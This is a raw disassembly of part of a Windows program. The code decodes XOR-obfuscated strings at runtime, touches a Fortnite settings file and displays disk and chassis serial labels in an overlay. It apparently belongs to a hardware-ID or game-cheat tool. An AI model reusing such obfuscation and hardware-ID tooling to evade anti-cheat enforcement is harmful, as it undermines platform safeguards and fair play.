mov edi, dword [reloc.WS2_32.dll_accept]
mov r8d, esi
movdqa xmm6, xmmword [str.0000000000000000]
cmp edi, 2
jl 0x14005198b
movd eax, xmm6
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
movdqa xmm2, xmm12
pmuldq xmm0, xmm11
mov r8d, recv
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm13
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x14015f3f8]
xorps xmm1, xmm0
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm11
movd dword [rbp + 0x28], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x2c]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm14
xorps xmm2, xmm1
punpckhdq xmm0, xmm14
movd dword [rbp + 0x2c], xmm2
movdqa xmm1, xmm14
pmuldq xmm0, xmm11
movdqa xmm2, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, ecx
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x30], xmm2
mov eax, r8d
lea r9, [rbp + 0x28]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1400519a0
movss xmm0, dword [0x14015f5d8]
lea rdx, [rbp - 0x50]
movss xmm2, dword [0x14015f584]
lea rcx, [rbp + 0x28]
movss dword [rsp + 0x28], xmm7
movss dword [rsp + 0x20], xmm0
call fcn.140032360
cmp byte [reloc.WS2_32.dll_gethostname], 0
movsd xmm0, qword [0x14015f258]
movzx eax, word [0x14015f260]
movss xmm3, dword [0x140197984]
mov ecx, dword [0x14015f368]
addss xmm3, dword [0x14015f5c0]
movsd qword [rbp - 0x60], xmm0
movsd xmm0, qword [0x14015f360]
mov word [rbp - 0x58], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd qword [rbp + 0x38], xmm0
mov byte [rbp + 0x44], al
mov dword [rbp + 0x40], ecx
je 0x140051a73
xor byte [rbp - 0x5f], 0x31
xor byte [rbp - 0x5e], 0x32
xor byte [rbp - 0x5d], 0x33
xor byte [rbp - 0x5c], 0x34
xor byte [rbp - 0x5b], 0x35
xor byte [rbp - 0x5a], 0x36
xor byte [rbp - 0x59], 0x37
xor byte [rbp - 0x58], 0x38
xor byte [rbp - 0x57], 0x39
mov byte [rbp - 0x60], 0x41
mov r8d, esi
cmp edi, 2
jl 0x140051bbd
movd eax, xmm6
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
movdqa xmm2, xmm12
pmuldq xmm0, xmm11
mov r8d, recv
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm13
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x14015f360]
xorps xmm1, xmm0
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm11
movd dword [rbp + 0x38], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x3c]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm14
xorps xmm2, xmm1
punpckhdq xmm0, xmm14
movd dword [rbp + 0x3c], xmm2
movdqa xmm1, xmm14
pmuldq xmm0, xmm11
movdqa xmm2, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, ecx
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x40], xmm2
mov eax, r8d
lea r9, [rbp + 0x38]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x140051bd0
movss xmm0, dword [0x14015f5d8]
lea rdx, [rbp - 0x60]
movss xmm2, dword [0x14015f5e4]
lea rcx, [rbp + 0x38]
movss dword [rsp + 0x28], xmm7
movss dword [rsp + 0x20], xmm0
call fcn.140032360
call fcn.14000aca0
xorps xmm0, xmm0
mov qword [rbp + 0x2f0], rsi
mov r8d, 0x59
mov qword [rbp + 0x2f8], rsi
lea rdx, str.C:UsersAdminAppDataLocalFortniteGameSavedConfigWindowsClientGameUserSettings.ini
lea rcx, [rbp + 0x2e0]
movups xmmword [rbp + 0x2e0], xmm0
call fcn.140056a10
cmp byte [0x14015f43b], 0
movss xmm4, dword [0x140197984]
movsd xmm0, qword [str.cHAGQX_YV_b_car5]
addss xmm4, xmm10
mov ecx, dword [0x14015f438]
movsd qword [rbp + 0x48], xmm0
mov dword [rbp + 0x50], ecx
je 0x140051e13
mov r8d, esi
cmp edi, 2
jl 0x140051dd6
movd eax, xmm6
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
movdqa xmm2, xmm12
pmuldq xmm0, xmm11
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm13
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.cHAGQX_YV_b_car5]
xorps xmm1, xmm0
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm11
movd dword [rbp + 0x48], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4c]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm14
xorps xmm2, xmm1
punpckhdq xmm0, xmm14
movd dword [rbp + 0x4c], xmm2
movdqa xmm1, xmm14
pmuldq xmm0, xmm11
movdqa xmm2, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, ecx
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x50], xmm2
jmp 0x140051e13
lea r9, [rbp + 0x48]
nop word [rax + rax]
mov eax, 0x3521cfb3
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140051de0
movss xmm0, dword [0x14015f5e0]
lea rcx, [rbp + 0x48]
movss xmm3, dword [0x14015f620]
movaps xmm2, xmm4
movss xmm1, dword [0x14015f630]
movss dword [rsp + 0x20], xmm0
call fcn.140033ce0
cmp qword [rbp + 0x2f8], 0xf
lea rax, [rbp + 0x2e0]
cmova rax, qword [rbp + 0x2e0]
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x2f0]
mov qword [rbp + 0x138], rax
call fcn.140126748
movaps xmm0, xmmword [rbp + 0x130]
lea r8, [rbp + 0x290]
mov edx, eax
movdqa xmmword [rbp + 0x290], xmm0
lea rcx, [rbp + 0x270]
call fcn.140034920
cmp qword [rbp + 0x288], 7
lea rcx, [rbp + 0x270]
mov r9d, 0xffffffff
lea rdx, [rbp + 0x480]
cmova rcx, qword [rbp + 0x270]
mov r8d, 3
call fcn.140126a5c
mov r8d, eax
test eax, eax
jne 0x140051f05
mov edx, dword [rbp + 0x490]
mov ecx, edx
shr ecx, 0xa
test cl, 1
je 0x140051efa
mov eax, dword [rbp + 0x494]
cmp eax, 0xa000000c
jne 0x140051eec
mov edx, 4
jmp 0x140051f29
cmp eax, 0xa0000003
jne 0x140051efa
mov edx, 0xa
jmp 0x140051f29
shr edx, 4
and edx, 1
add edx, 2
jmp 0x140051f29
sub eax, 2
je 0x140051f24
sub eax, 1
je 0x140051f24
sub eax, 0x32
je 0x140051f24
sub eax, 0x46
je 0x140051f24
cmp eax, 0x90
je 0x140051f24
xor al, al
jmp 0x140051f26
mov al, 1
movzx edx, al
mov dword [rbp + 0x470], r8d
lea rax, [0x1401979c0]
mov qword [rbp + 0x478], rax
movaps xmm0, xmmword [rbp + 0x470]
movdqa xmmword [rbp + 0x290], xmm0
test edx, edx
je 0x140051f59
cmp edx, 1
setne bl
jmp 0x140051f64
xor bl, bl
test r8d, r8d
jne 0x140052e98
mov rdx, qword [rbp + 0x288]
cmp rdx, 7
jbe 0x140051faa
mov rcx, qword [rbp + 0x270]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051fa5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052e06
call fcn.1401275b4
mov qword [rbp + 0x280], rsi
mov qword [rbp + 0x288], 7
mov word [rbp + 0x270], si
test bl, bl
je 0x1400521f2
movzx eax, word [0x14015f1d8]
mov r8d, esi
mov word [rsp + 0x70], ax
movzx eax, byte [0x14015f1da]
mov byte [rsp + 0x72], al
movups xmm2, xmmword [0x14015f1c8]
movups xmmword [rsp + 0x60], xmm2
cmp edi, 2
jl 0x1400521a5
movd eax, xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
movdqa xmm2, xmm12
pmuldq xmm0, xmm11
pmuldq xmm1, xmm11
movd ecx, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm13
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm11
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x64]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm14
xorps xmm2, xmm1
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm11
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm11
movd dword [rsp + 0x64], xmm2
movdqa xmm2, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x68]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm2, xmmword [0x14015f760]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm11
punpckldq xmm1, xmm2
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movd xmm1, dword [rsp + 0x6c]
psubd xmm2, xmm0
andps xmm2, xmm15
movd xmm0, ecx
packuswb xmm2, xmm2
mov r8d, reloc.WS2_32.dll_recv
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov eax, r8d
lea r10, [rsp + 0x60]
add r10, rax
mov eax, 0x4d4873ed
lea r10, [r10 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r10 - 1], al
cmp r8d, 0x13
jl 0x1400521b0
movups xmm0, xmmword [0x1401991b8]
lea rcx, [rsp + 0x60]
jmp 0x140052491
cmp byte [0x14015f3eb], 0
movups xmm2, xmmword [str.vXV]
mov edx, dword [0x14015f3e8]
mov dword [rbp + 0x168], edx
movups xmmword [rbp + 0x158], xmm2
je 0x140052483
mov r8d, esi
cmp edi, 2
jl 0x140052441
movd eax, xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
movdqa xmm2, xmm12
pmuldq xmm0, xmm11
pmuldq xmm1, xmm11
movd ecx, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm13
pmulld xmm0, xmm8
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm15
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm11
movd dword [rbp + 0x158], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x15c]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm14
xorps xmm2, xmm1
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm11
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm11
movd dword [rbp + 0x15c], xmm2
movdqa xmm2, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x160]
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x160], xmm2
movdqa xmm2, xmmword [0x14015f760]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm11
punpckldq xmm1, xmm2
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movd xmm1, dword [rbp + 0x164]
psubd xmm2, xmm0
andps xmm2, xmm15
movd xmm0, ecx
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x164], xmm2
movdqa xmm2, xmmword [0x14015f770]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm11
pmuldq xmm1, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm15
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x168], xmm2
jmp 0x140052483
lea r10, [rbp + 0x158]
nop dword [rax + rax]
mov eax, 0x3521cfb3
lea r10, [r10 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r10 - 1], al
cmp r8d, 0x14
jl 0x140052450
movups xmm0, xmmword [0x1401991f8]
lea rcx, [rbp + 0x158]
movss xmm7, dword [0x14015f638]
lea rax, [rbp + 0x290]
mov r9, qword [0x140198af0]
movaps xmm1, xmm7
movss xmm2, dword [0x14015f63c]
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm9
movdqa xmmword [rbp + 0x290], xmm0
call fcn.140033770
mov r14, qword [0x140198d30]
movabs rcx, 0x7fffffffffffffff
movups xmm6, xmmword [0x140199178]
mov r12, qword [0x140198af0]
mov rax, rcx
sub rax, r14
cmp rax, 8
jb 0x140052e92
cmp qword [0x140198d38], 0xf
lea r15, [0x140198d20]
mov qword [rbp + 0x280], rsi
lea rbx, [rbp + 0x270]
cmova r15, qword [0x140198d20]
mov edi, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x288], rsi
xorps xmm0, xmm0
lea rsi, [r14 + 8]
movups xmmword [rbp + 0x270], xmm0
cmp rsi, rdi
jbe 0x1400525bb
mov rdi, rsi
or rdi, 0xf
cmp rdi, rcx
jbe 0x14005255d
movabs rax, 0x8000000000000000
mov rdi, rcx
add rax, 0x27
jmp 0x14005258d
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140052577
xor eax, eax
jmp 0x1400525b1
cmp rcx, 0x1000
jb 0x1400525ac
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140052e80
mov rcx, rax
call fcn.140127260
test rax, rax
je 0x140052e0d
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x1400525b4
call fcn.140127260
mov rbx, rax
mov qword [rbp + 0x270], rbx
mov rcx, qword [str.Disks_]
mov r8, r14
mov qword [rbp + 0x280], rsi
mov rdx, r15
mov qword [rbp + 0x288], rdi
mov qword [rbx], rcx
lea rcx, [rbx + 8]
call sub.VCRUNTIME140.dll_memcpy
movss xmm2, dword [0x14015f61c]
lea rax, [rbp + 0x290]
mov byte [rbx + rsi], 0
lea rcx, [rbp + 0x270]
cmp qword [rbp + 0x288], 0xf
mov r9, r12
mov qword [rsp + 0x28], rax
movaps xmm1, xmm7
cmova rcx, qword [rbp + 0x270]
movss dword [rsp + 0x20], xmm9
movdqa xmmword [rbp + 0x290], xmm6
call fcn.140033770
mov rdx, qword [rbp + 0x288]
cmp rdx, 0xf
jbe 0x14005266c
mov rcx, qword [rbp + 0x270]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052667
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052e0d
call fcn.1401275b4
mov r14, qword [0x140198d70]
xor edx, edx
movups xmm6, xmmword [0x140199178]
mov r12, qword [0x140198af0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov qword [rbp + 0x280], rdx
sub rax, r14
mov qword [rbp + 0x288], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x270], dl
cmp rax, 0x11
jb 0x140052e8c
cmp qword [0x140198d78], 0xf
lea r15, [0x140198d60]
lea rsi, [r14 + 0x11]
mov qword [rsp + 0x70], rdx
cmova r15, qword [0x140198d60]
lea rbx, [rsp + 0x60]
mov edi, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x78], rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
cmp rsi, rdi
jbe 0x14005276d
mov rdi, rsi
or rdi, 0xf
cmp rdi, rcx
jbe 0x140052710
movabs rax, 0x8000000000000000
mov rdi, rcx
add rax, 0x27
jmp 0x140052741
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14005272b
mov rbx, rdx
jmp 0x140052768
cmp rcx, 0x1000
jb 0x140052760
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140052e86
mov rcx, rax
call fcn.140127260
test rax, rax
je 0x140052e14
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140052768
call fcn.140127260
mov rbx, rax
mov qword [rsp + 0x60], rbx
movups xmm0, xmmword [str.Chassis_Serial_]
mov qword [rsp + 0x70], rsi
mov r8, r14
mov qword [rsp + 0x78], rdi
mov rdx, r15
movups xmmword [rbx], xmm0
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rbx + 0x10], cl
lea rcx, [rbx + 0x11]
call sub.VCRUNTIME140.dll_memcpy
movss xmm2, dword [0x14015f62c]
lea rax, [rbp + 0x290]
mov byte [rbx + rsi], 0
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
mov r9, r12
mov qword [rsp + 0x28], rax
movaps xmm1, xmm7
cmova rcx, qword [rsp + 0x60]
movss dword [rsp + 0x20], xmm9
movdqa xmmword [rbp + 0x290], xmm6
call fcn.140033770
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14005281a
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052815
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052e14
call fcn.1401275b4
call fcn.14000aca0
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 0xf
jbe 0x140052860
mov rcx, qword [rbp + 0x2e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005285b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052e1b
call fcn.1401275b4
xor esi, esi
mov qword [rbp + 0x2f8], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x2f0], rsi
mov byte [rbp + 0x2e0], sil
mov rbx, qword [0x140198ab0]
movss xmm0, dword [rbx + 0x37f0]
lea rcx, [rbx + 0x4850]
lea rdx, [rbp + 0xf8]
movss dword [rbp + 0xfc], xmm0
mov dword [rbp + 0xf8], esi
call fcn.14001a260
mov rax, qword [0x140198ab0]
lea r8, str.Foreground
mov r15d, 1
mov dword [rbx + 0x37f0], 0x3f800000
mov edx, r15d
mov rcx, qword [rax + 0x48d0]
mov rcx, qword [rcx]
call fcn.140007700
lea r8, str.Foreground
mov edx, r15d
mov edi, dword [rax + 0x20]
mov rax, qword [0x140198ab0]
mov rcx, qword [rax + 0x48d0]
mov rcx, qword [rcx]
call fcn.140007700
movss xmm1, dword [0x14019918c]
mov r10, rax
movss xmm0, dword [0x140199188]
mov rcx, qword [0x140198ab0]
movss dword [rbp + 0xdc], xmm1
movss xmm1, dword [0x140199194]
movss dword [rbp + 0xd8], xmm0
mulss xmm1, dword [rcx + 0x37f0]
lea rcx, [rbp + 0xd8]
mov dword [rbp + 0x2b0], 0x44224000
movss xmm0, dword [0x140199190]
movss dword [rbp + 0xe0], xmm0
movss dword [rbp + 0xe4], xmm1
mov dword [rbp + 0x2b4], 0x43e08000
mov dword [rbp + 0x2a8], 0x3f800000
mov dword [rbp + 0x2ac], 0x3f800000
call fcn.140004130
movss xmm0, dword [0x14015f550]
lea r8, [rbp + 0x2b0]
movss dword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x2a8]
movss xmm0, dword [0x14015f564]
mov r9d, eax
mov rcx, r10
movss dword [rsp + 0x20], xmm0
call fcn.14001f0b0
movss xmm1, dword [0x14019918c]
lea r8, str.Foreground
mov rax, qword [0x140198ab0]
mov edx, r15d
movdqa xmm0, xmmword [0x14015f810]
movss dword [rbp + 0xec], xmm1
movss xmm1, dword [0x140199194]
mulss xmm1, dword [rax + 0x37f0]
mov rax, qword [rax + 0x48d0]
movups xmmword [rbp + 0x290], xmm0
movss xmm0, dword [0x140199188]
mov rcx, qword [rax]
movss dword [rbp + 0xe8], xmm0
movss xmm0, dword [0x140199190]
movss dword [rbp + 0xf0], xmm0
movss dword [rbp + 0xf4], xmm1
call fcn.140007700
lea r8, str.Foreground
mov edx, r15d
mov ebx, dword [rax + 0x20]
mov rax, qword [0x140198ab0]
mov rcx, qword [rax + 0x48d0]
mov rcx, qword [rcx]
call fcn.140007700
lea rcx, [rbp + 0x290]
mov r10, rax
call fcn.140004130
lea rcx, [rbp + 0xe8]
mov r9d, eax
call fcn.140004130
movss xmm0, dword [0x14015f5ec]
movss xmm1, dword [0x14015f5e8]
mov dword [rsp + 0x30], r9d
mov dword [rsp + 0x28], eax
movss xmm6, dword [0x14015f51c]
mov r8d, ebx
unpcklps xmm0, xmm1
mov edx, edi
movaps xmm1, xmm6
movsd qword [rsp + 0x20], xmm0
unpcklps xmm1, xmm6
mov rcx, r10
movq r9, xmm1
call fcn.140020af0
mov ecx, r15d
call fcn.1400043d0
mov rdx, qword [rbp + 0x4d0]
cmp rdx, 0xf
jbe 0x140052afc
mov rcx, qword [rbp + 0x4b8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052af7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052e22
call fcn.1401275b4
call fcn.14000fd30
call fcn.14000a250
mov rcx, qword [0x140199128]
lea r8, [0x1401990d0]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x4d8], xmm0
mov edx, r15d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x140199128]
lea r8, [rbp + 0x4d8]
mov rdx, qword [0x1401990d0]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rax, qword [0x140198ab0]
mov rcx, qword [rax + 0x48d0]
mov rax, qword [rcx]
mov rcx, rsi
add rax, 0x48
cmp byte [rax], 0
cmovne rcx, rax
call fcn.140027890
mov rcx, qword [0x1401990d8]
xor r8d, r8d
mov edx, r15d
mov rax, qword [rcx]
call qword [rax + 0x40]
movss xmm9, dword [0x14015f4e8]
mov ebx, dword [rbp + 0x2a0]
jmp 0x14004d91d
mov rdi, qword [0x140198ab0]
test rdi, rdi
je 0x140052bab
mov rbx, qword [rdi + 0xa0]
jmp 0x140052bae
mov rbx, rsi
call fcn.140028840
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140052bc2
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
test rcx, rcx
je 0x140052bd0
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140052bdf
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [0x140198ab0]
mov qword [rdi + 0x90], rsi
mov qword [rdi + 0xa0], rsi
test rax, rax
je 0x140052bff
dec dword [rax + 0xf4]
mov rdx, qword [0x140198aa0]
mov rcx, rbx
